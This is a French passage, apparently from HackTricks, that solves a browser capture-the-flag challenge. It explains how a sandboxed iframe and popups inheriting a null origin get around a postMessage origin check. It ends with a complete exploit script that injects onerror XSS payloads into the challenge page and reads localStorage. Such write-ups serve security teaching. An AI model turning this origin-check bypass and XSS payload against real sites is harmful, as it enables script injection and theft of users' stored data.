Bypassing SOP with Iframes - 1

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Iframes dans SOP-1

Dans ce défi créé par NDevTK et Terjanq vous devez exploiter un XSS dans le code.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Le problème principal est que la page principale utilise DomPurify pour envoyer les data.body, donc pour envoyer vos propres données html à ce code, vous devez contourner e.origin !== window.origin.

Voyons la solution qu'ils proposent.

Contournement de la SOP 1 (e.origin === null)

Lorsque //example.org est intégré dans un iframe sandboxé, alors l'origine de la page sera null, c'est-à-dire que window.origin === null. Ainsi, en intégrant simplement l'iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">, nous pourrions forcer l'origine null.

Si la page était intégrable, vous pourriez contourner cette protection de cette manière (les cookies pourraient également devoir être définis sur SameSite=None).

Contournement de la SOP 2 (window.origin === null)

Le fait moins connu est que lorsque la valeur de sandbox allow-popups est définie, alors le popup ouvert héritera de tous les attributs sandboxés sauf si allow-popups-to-escape-sandbox est défini. Ainsi, l'ouverture d'un popup à partir d'une origine nulle fera que window.origin à l'intérieur du popup soit également null.

Solution du défi

Par conséquent, pour ce défi, on pourrait créer un iframe, ouvrir un popup vers la page avec le gestionnaire de code XSS vulnérable (/iframe.php), car window.origin === e.origin car les deux sont null, il est possible d'envoyer une charge utile qui exploitera le XSS.

Cette charge utile obtiendra l'identifiant et enverra un XSS de retour à la page supérieure (la page qui a ouvert le popup), qui changera de localisation vers le vulnérable /iframe.php. Comme l'identifiant est connu, peu importe que la condition window.origin === e.origin ne soit pas satisfaite (rappelez-vous, l'origine est le popup de l'iframe qui a une origine null) car data.identifier === identifier. Ensuite, le XSS se déclenchera à nouveau, cette fois dans la bonne origine.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Dernière mise à jour